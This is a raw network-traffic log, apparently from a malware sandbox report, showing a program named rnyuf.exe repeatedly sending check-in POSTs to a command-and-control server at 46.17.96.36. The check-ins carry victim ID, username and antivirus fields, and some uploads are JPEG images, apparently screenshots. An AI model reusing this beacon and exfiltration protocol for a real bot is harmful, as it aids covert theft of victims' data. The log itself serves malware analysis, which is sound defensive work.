Aug 29, 2021 22:27:49.500067949 CEST	10276	OUT	Data Raw: 1c a2 16 0a 36 95 e0 48 07 5a bf 79 7f a3 c5 e3 ab fd 76 2d 6e d2 e2 d6 f0 de 6d 48 a1 9c 48 9e 64 12 2a ee 0d 18 1c b3 01 c1 3d 7d 39 a7 ed ea 59 bb 7f 37 e1 b0 4a 85 3b d9 3e a6 24 1a 3c af 15 ec b7 57 16 f6 29 63 70 96 d7 26 e3 7f ee dd b7 e3 Data Ascii: 6HZyv-nmHHd=}9Y7J;>$<W)cp&V$,Wn\|/,76yqsd$v5U]r;eex+\kl)BD]:'h<7 I\KYhqOU2}.KqcMp4M*R6v6
Aug 29, 2021 22:27:49.500086069 CEST	10286	OUT	Data Raw: 50 67 ce f8 cd 30 83 9e 6b e8 e5 f0 d6 88 07 fc 82 ed 7f ef 8a f3 3f 89 9a 7d 9d 95 cd 97 d9 2d a2 83 72 36 e1 18 c6 79 aa 85 5e 77 60 92 e5 3c 8e 93 14 99 a5 15 c6 7a 07 a6 fc 0d e3 c6 b7 bf f6 0e 7f fd 19 1d 7b ad f3 e2 df 1f de 60 3f af f4 af Data Ascii: Pg0k?}-r6y^w`<z{`?t}fA4;;;]> x!GVP)F{0T]Il;j\|~)k%o1)qIJ+,)i3@4uR)<:s^Q_YH;x~^S
Aug 29, 2021 22:27:49.609601021 CEST	10329	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Powered-By: PHP/5.6.40

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
115	192.168.2.4	49853	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.615452051 CEST	10330	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:49.685024977 CEST	10330	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
116	192.168.2.4	49854	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.860125065 CEST	10331	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:49.936300039 CEST	10345	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
117	192.168.2.4	49855	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:49.914906979 CEST	10332	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:49.915133953 CEST	10332	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:49.915442944 CEST	10342	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:49.915528059 CEST	10345	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:49.948689938 CEST	10348	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:49.948729992 CEST	10358	OUT	Data Raw: 71 e8 69 3e c7 75 f6 98 6d be cb 3f 9f 38 43 14 5e 59 dd 20 7c 6d da 31 93 9c 8c 63 ae 6b 27 46 32 77 6f 52 d5 59 25 64 8f a0 f5 8f 88 1f 0f 13 c2 5a ed 8e 91 a9 e2 e6 f6 c6 68 51 3c 8b 8f 9d cc 6c 14 65 97 03 96 f6 af 9d 2a 79 ad 2e ad e1 86 69 Data Ascii: qi>um?8C^Y \|m1ck'F2woRY%dZhQ<le*y.i)yO$eVM\q$:&"[1I-$"&$1@UFL)QG4Z9)QERRR({sLJQKH(f@w(OxG?+,k4ja'P@9oa
Aug 29, 2021 22:27:49.948911905 CEST	10370	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:49.982358932 CEST	10397	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:49.982424021 CEST	10412	OUT	Data Raw: ff 00 0a eb c5 7e 5e 7c cf 9f 6e 3a e7 ca 38 a8 aa b9 92 5e 66 94 e5 ca db 3b 78 8d ff 00 8e ae 25 95 6e e6 b1 d0 23 72 91 88 4e d9 2e 48 ea 49 ec 3f cf 5a 98 78 0b c3 6c cc 96 93 4d 0d d2 7f cb 48 6e 89 91 4f af 7f e5 4e b1 f3 bf e1 56 47 fd 97 Data Ascii: ~^\|n:8^f;x%n#rN.HI?ZxlMHnONVG?'gwc9ktBg>c?s]49*rQv:9]H9+Gh+_SAJ\8%_oGZ(1ATY%oW/,98]?R,'{5
Aug 29, 2021 22:27:49.982557058 CEST	10420	OUT	Data Raw: 98 87 52 e6 99 9a 5a 02 c3 a8 a4 a2 81 0f 1d 69 7a 53 05 2e 6a 84 38 1a 5c d3 41 a3 34 5c 56 17 34 b9 a6 d2 d3 01 45 2d 34 53 a8 13 14 52 d3 69 45 34 21 69 c2 9b 4e 15 44 b1 d4 66 92 8a 62 1d 4a 29 b4 e0 69 88 75 2d 36 94 1a a4 48 fa 5a 68 34 e1 Data Ascii: RZizS.j8\A4\V4E-4SRiE4!iNDfbJ)iu-6HZh4TKNKU"GNi"J*,5iA6PifQN;L8w&f8%TMSA"L4)i2l:fF.$q4fyI]}wSro4n'J_u...R
Aug 29, 2021 22:27:50.015902996 CEST	10438	OUT	Data Raw: 62 c0 80 01 e3 9e 38 ce 6d c2 5a b6 5a 53 8e 88 f5 2b 4f 8f f6 76 31 b4 76 7e 0b 86 dd 19 b7 b2 c3 78 10 16 f5 20 45 d7 81 f9 55 8f f8 68 c1 ff 00 42 af fe 54 3f fb 5d 79 14 5e 1b b8 b8 bb d3 61 b4 bc b3 b9 8f 50 b8 7b 78 67 42 ea 81 94 ae e2 db Data Ascii: b8mZZS+Ov1v~x EUhBT?]y^aP{xgB00l,nr#&L`&>RGk_:g#^O-d>f+yc8L.no?6OO1d&<"B\@9'q"\Sw
Aug 29, 2021 22:27:50.082567930 CEST	10439	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
118	192.168.2.4	49856	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:50.132224083 CEST	10439	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:50.208998919 CEST	10440	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Aug 29, 2021 22:27:50.297775984 CEST	10440	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:50.297894001 CEST	10440	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:50.298094988 CEST	10450	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:50.298213005 CEST	10453	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:50.330671072 CEST	10461	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:50.330732107 CEST	10464	OUT	Data Raw: 24 05 14 62 8c 52 18 62 83 4b 48 69 88 4a 28 a2 90 c4 34 52 d2 e2 80 1b 8a 29 d8 a4 a0 04 14 b4 86 96 80 12 96 93 bd 2f 6a 00 28 a2 8a 00 29 45 27 7a 5e d4 00 51 47 6a 05 31 0b 45 14 50 20 a2 96 8a 60 14 b4 52 53 10 51 45 2d 00 14 b4 51 40 0b 45 Data Ascii: $bRbKHiJ(4R)/j()E'z^QGj1EP `RSQE-Q@E(QE--)(P)ZZJQS4Z(dKIKL)hRP)xQuU3N%@ip34$S4iSdUA5.6Sbj}+"zc4Z2c1J.=-.(p
Aug 29, 2021 22:27:50.330741882 CEST	10467	OUT	Data Raw: 9f 7e e3 de bd 0a cb c6 cc be 2f 6b 7b b9 91 b4 bb f4 47 b3 90 0c 04 c8 c0 cf e3 90 73 d0 8a f3 6f f8 47 35 cf fa 02 ea 3f f8 0a ff 00 e1 52 1d 0b c4 0d 02 42 da 3e a2 51 09 2a 0d ab f1 9e bd bd 85 7a f5 f0 f8 7a ce ed ad ad fd 7a 1e 3d 0c 46 22 Data Ascii: ~/k{GsoG5?RB>Q*zzz=F"O{^U#ZxbATd0RGc_>)vz("<KNkKqvFvaqRiAQH((ZJ`R1@QE(((RE-((v)
Aug 29, 2021 22:27:50.330971003 CEST	10480	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:50.363307953 CEST	10483	OUT	Data Raw: 90 14 6d a2 48 8b 15 03 e6 fb a4 b1 c8 ce 7d c5 72 5a aa b7 e3 f7 af d2 e7 53 74 da 7f 81 62 1f 09 c9 3b ed 1a c6 94 aa f7 26 ce dd dd e5 0b 73 30 00 b2 21 f2 f8 c1 65 05 9b 6a e4 f0 48 e6 8b 3f 05 dd dd 5b da c9 f6 ed 36 09 ee a3 9a 58 6d a6 99 Data Ascii: mH}rZStb;&s0!ejH?[6Xm3,$dtznDmaaw5\#m3c,XTq1J,$+X\[#8b]f7cu?VMK_j0X\[^A5KtP?0O~6\vOn[28
Aug 29, 2021 22:27:50.363380909 CEST	10486	OUT	Data Raw: b8 d2 ef de 58 82 ee 31 be 57 e6 50 dc 65 c1 e8 47 6a e5 a7 56 a5 57 cb 08 dd 9b d4 a7 4e 92 e6 9c ac 8f 9f bf b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a 3f b1 f5 3f fa 07 5d ff 00 df 86 ff 00 0a f7 33 e2 1f 03 8e ba 4e a7 f9 8f fe 39 5b fa 35 9f 85 Data Ascii: X1WPeGjVWN?]??]3N9[5u5&0`G^y")%6cZXeVh9:GktFdmvs0~^H xY3.Y]Z*9WAQE(>o&Q\bdg)z{WU
Aug 29, 2021 22:27:50.363557100 CEST	10494	OUT	Data Raw: bd cd ae 3c d4 1d b3 fc fd fd 2b e7 40 4a b0 65 24 10 72 08 ed 5b e9 e2 5b 88 35 7b 4d 72 16 ff 00 4e 55 09 72 bd 04 d8 00 64 ff 00 bc 3a fb 8c f7 15 d7 88 ca 60 dd e9 e9 a7 e3 ff 00 07 f3 38 f0 f9 b4 d2 b5 4d 75 fc 3f e0 7e 47 4b f1 0b fe 48 b6 Data Ascii: <+@Je$r[[5{MrNUrd:`8Mu?~GKH^k~!+kgu]1R4(R){RR-wZbaKIJ(ZJ)8S%p!mpm:ZAKTH)i)E4KO)T`ii-PpA"
Aug 29, 2021 22:27:50.463830948 CEST	10549	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
119	192.168.2.4	49857	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:50.362004995 CEST	10480	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
Aug 29, 2021 22:27:50.442497969 CEST	10549	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
12	192.168.2.4	49747	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:13.957889080 CEST	2312	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----6f2b8ec125833bffe61c308b0401688c Host: 46.17.96.36 Content-Length: 107127 Cache-Control: no-cache
Aug 29, 2021 22:27:13.958050013 CEST	2313	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 36 66 32 62 38 65 63 31 32 35 38 33 33 62 66 66 65 36 31 63 33 30 38 62 30 34 30 31 36 38 38 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------6f2b8ec125833bffe61c308b0401688cContent-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Aug 29, 2021 22:27:13.958271980 CEST	2323	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Aug 29, 2021 22:27:13.958479881 CEST	2325	OUT	Data Raw: 28 a0 06 e3 14 94 fa 31 45 82 e3 29 71 ed 4e 2b 48 45 2b 0e e3 68 22 97 14 51 60 b8 dc 50 69 71 45 03 1b 8e 69 71 4b 45 20 b8 da 4c 53 b1 46 28 b0 c6 e2 8c 53 b1 49 4a c1 71 39 a3 9a 31 46 28 18 94 52 d1 cd 20 1a 68 c5 2d 14 0c 6d 14 ea 28 01 a6 Data Ascii: (1E)qN+HE+h"Q`PiqEiqKE LSF(SIJq91F(R h-m(R(RJZ((,QN4X.%-sNBJ\QLJ)h4wSZu_>:0}7{S:r^#(psQ3\zyjf-N~ck
Aug 29, 2021 22:27:13.990216970 CEST	2331	OUT	Data Raw: 14 4e 49 3f af e4 6b c5 3e 37 7f c9 47 97 fe bd 62 fe 55 ef 1a 0f 87 5f 4e b9 9b 52 d4 6e 7e d9 aa dc 0c 49 36 30 a8 bf dd 51 d8 7f 9e 2b c1 fe 36 ff 00 c9 47 9b fe bd a2 fe 55 cd cd 1e 68 c2 2e e9 2d ce 95 19 72 ca 72 56 6d ec 79 cd 2d 1c d1 cd Data Ascii: NI?k>7GbU_NRn~I60Q+6GUh.-rrVmy-j@QE{G`i.tt{>`o;g8k<)rQXTnAA\so&?!l9+J')^?G+?j:S7?tj?f
Aug 29, 2021 22:27:13.990286112 CEST	2339	OUT	Data Raw: ba 35 bf 88 de d6 e3 7c 45 70 f3 c4 b7 53 79 90 27 f7 5b 23 71 5f e2 0b 81 d3 0d 24 13 e8 cb e3 9f 08 c7 71 a7 6a 32 5f 79 1a 58 13 47 7c 89 10 3b 23 c6 63 30 93 c7 71 bf 9f 6a f3 61 0c 7e 94 a2 14 03 00 70 69 c6 8c 93 bd fa df f3 ff 00 30 9d 65 Data Ascii: 5\|EpSy'[#q_$qj2_yXG\|;#c0qja~pi0e+hwxv+u0\?U?]Lo.<N\|Wr6D$?m9A8q/A=*VVbMobiGFb)\|lJ(EQ!EPIKI@QQbQ@
Aug 29, 2021 22:27:13.990497112 CEST	2351	OUT	Data Raw: 00 77 35 ca 2f 89 75 a5 bc 9e e7 ed 70 b9 9e 14 82 48 64 b5 89 e0 31 a6 36 a8 84 a9 8c 05 c7 18 5e 39 c7 53 55 6f 75 4d 4b 53 8e e2 3b db b3 2a 5c 5c 0b 99 41 45 1b a4 0b b4 1e 07 40 a7 01 7a 01 d0 0a e5 f6 75 3f af 4b 7f c1 f5 3a 7d a5 36 ef fd Data Ascii: w5/upHd16^9SUouMKS;\\AE@zu?K:}6wvrxfEt_-t}NCy0ms;cqBVeq?u4Wv&4,11bsWX&obldP7\qqUV;cm\|#?eR7WX{H^_U`_YiOy
Aug 29, 2021 22:27:14.022502899 CEST	2354	OUT	Data Raw: db 47 8e 09 21 7b 57 b9 cb 36 65 79 23 75 7d bf 2b a6 fc 06 c1 c8 ce 46 18 8a ae ba db 9f 11 69 3a c9 b3 20 e9 c9 68 a2 1f 37 fd 67 90 aa 3e f6 38 dd b7 d0 e3 3d e9 c1 d6 be bd ff 00 0d 45 35 47 5b 7f 5b 17 f5 2d 06 da 0f 0a da 6a 96 73 4d 25 d6 Data Ascii: G!{W6ey#u}+Fi: h7g>8=E5G[[-jsM%$ N+8@nf7muxuydTK<& L6G42E#K3jP{;GwR7`+,PPt*NOJ-KV-?3a:X2IM3
Aug 29, 2021 22:27:14.022556067 CEST	2367	OUT	Data Raw: 53 15 1b 68 d6 d2 72 8f 8a af ac 47 a9 5c ac e6 68 ad e9 3c 3c df c0 ea 6a ac 9a 25 ca 74 5c 8f 6a b5 5a 0f a8 9a 6b 74 65 d2 d5 97 b0 b8 8f ac 6c 3f 0a 81 a2 71 d5 4d 5a 92 62 19 9a 5a 31 8a 00 aa 10 52 e6 92 81 40 0e 06 9d 9a 65 38 75 a6 48 f0 Data Ascii: ShrG\h<<j%t\jZktel?qMZbZ1R@e8uHjqGTY&1{3IN4,}RZJZJ)h@J(4Q@hQ(Q@Q@SiGZ-QM(R)@8pN"1NWbHJm<MK)#)i8R1E^)hh
Aug 29, 2021 22:27:14.022603989 CEST	2381	OUT	Data Raw: 15 98 de 31 f0 af f0 db de d4 2d e3 2f 0d 76 86 f6 ba 15 54 fa 33 95 e1 2a 2e c6 e0 60 7b d1 91 5c f1 f1 9f 87 fb 45 79 4d 3e 33 d0 87 48 ee ff 00 4a 7c eb b0 be af 50 e9 33 4b 9a e6 7f e1 36 d1 07 fc b2 bb a5 1e 37 d1 47 fc b2 bb a3 99 0d 50 a9 Data Ascii: 1-/vT3*.`{\EyM>3HJ\|P3K67GP8\'Z0W_/'z?hnJW4TuDxIwC)SO5?64QhE<W>#ic]n1K'Ks}i3W3LsQ;LuVhW
Aug 29, 2021 22:27:14.022629023 CEST	2382	OUT	Data Raw: 97 a6 cd 2d b4 c6 41 3c 53 ef 94 8b 89 00 62 62 89 c1 e0 01 c9 cf 1e 95 bd 3e 97 65 71 e2 4f 12 c7 fd 93 09 87 46 bf 92 e2 d5 21 89 11 6e 48 56 3f 66 3d 32 30 9b c0 19 c2 ab 80 3e 61 44 ab c6 3f 8f e0 ec 25 46 4c f3 8a 2b a5 ba d5 1b 43 d3 f4 76 Data Ascii: -A<Sbb>eqOF!nHV?f=20>aD?%FL+Cv\scc4Z_&0NI:]3K;XJXedFbr260NICnV:K"<f6G*Pk\|5F.'fa-I~od#ywsin4;
Aug 29, 2021 22:27:14.125421047 CEST	2420	IN	HTTP/1.1 200 OK Server: nginx/1.14.1 Date: Sun, 29 Aug 2021 20:27:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.6.40 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
120	192.168.2.4	49858	46.17.96.36	80	C:\Users\user\AppData\Local\Temp\4c423bc94e\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Aug 29, 2021 22:27:50.600866079 CEST	10550	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 46.17.96.36 Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 31 65 36 38 30 64 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 31 30 33 33 38 36 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=1e680d&os=1&bi=1&ar=1&pc=103386&un=user&dm=&av=13&lv=0
